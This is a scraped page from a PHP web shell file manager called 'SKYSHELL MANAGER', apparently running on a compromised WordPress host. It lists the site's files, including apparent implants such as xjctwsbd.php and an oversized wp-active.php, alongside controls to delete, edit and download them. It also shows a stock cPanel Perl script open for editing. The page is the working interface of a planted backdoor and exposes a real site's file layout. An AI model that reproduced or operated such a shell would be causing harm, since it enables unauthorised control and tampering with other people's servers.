📁
SKYSHELL MANAGER
PHP v7.4.34
Create
Create
Path:
root
/
home
/
estate38
/
PPE.dlfoffice.com
/
Name
Size
Perm
Actions
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
store
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
configWVM
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
404LSO
-
0755
🗑️
🏷️
🔒
📁
.well-known
-
0755
🗑️
🏷️
🔒
📄
wp-signup.php
34.69 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.52 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.98 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
8.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.49 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-active.php
261.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post-new.php
0.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
20.27 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xjctwsbd.php
18.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: 000-local_template_check
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - SOURCES/000-local_template_check Copyright 2017 cPanel, Inc. # All Rights Reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package ea_apache24_config_runtime::SOURCES::000_local_template_check; use strict; use warnings; use Cpanel::MD5 (); use Cpanel::JSON (); our $tt_dir = "/var/cpanel/templates/apache2_4"; our %templates = ( 'ea4_main.default' => 'ea4_main.local', 'ssl_vhost.default' => 'ssl_vhost.local', 'vhost.default' => 'vhost.local', ); exit( run(@ARGV) ) unless caller; sub run { my @args = @_; print "Checking ea4 templates …\n"; my @notify; my $had_local = 0; my $tt_data = _get_tt_data($tt_dir); for my $tt ( sort keys %templates ) { next if !-f "$tt_dir/$templates{$tt}"; $had_local++; push( @notify, $tt ) if $tt_data->{_}{just_created} || $tt_data->{$tt}{previous} ne $tt_data->{$tt}{current}; } if (@notify) { if ( $tt_data->{_}{just_created} ) { _send( 1, @notify ); } else { _regen_tt_data($tt_dir); _send( 0, @notify ); } } else { if ($had_local) { print "\tNo updates to ea4 templates, local templates should still be fine.\n"; } else { print "\tNo local templates; nothing to do.\n"; } } print " … done!\n"; return 0; # exit clean } ############### #### helpers ## ############### sub _get_tt_data { my ($dir) = @_; my $just_created = 0; if ( !-f "$dir/000-local_template_check.json" || -z _ ) { _regen_tt_data($dir); $just_created = 1; } my $hr = Cpanel::JSON::LoadFile("$dir/000-local_template_check.json"); $hr->{_}{just_created} = $just_created; for my $tt ( sort keys %templates ) { $hr->{$tt}{current} = Cpanel::MD5::getmd5sum("$dir/$tt"); } return $hr; } sub _regen_tt_data { my ($dir) = @_; my $hr = {}; for my $tt ( sort keys %templates ) { $hr->{$tt}{previous} = Cpanel::MD5::getmd5sum("$dir/$tt"); } Cpanel::JSON::DumpFile( "$dir/000-local_template_check.json", $hr ); return; } sub _send { my ( $first_time, @has_local ) = @_; if ( eval "require Cpanel::iContact::Class::EasyApache::EA4_TemplateCheckUpdated;1" ) { print "\tSending iContact (EA4_TemplateCheckUpdated)\n"; my @templates_aoh; for my $tt (@has_local) { push @templates_aoh, { name => $tt, name_full_path => "$tt_dir/$tt", local => $templates{$tt}, local_full_path => " $tt_dir/$templates{$tt}" }; } Cpanel::iContact::Class::EasyApache::EA4_TemplateCheckUpdated->new( templates => \@templates_aoh, first_time => $first_time ); # yes, new() actually results in message delivery <facepalm> } else { print "\tN/A: System does not have the iContact module “EA4_TemplateCheckUpdated”\n"; } return; } 1;
Save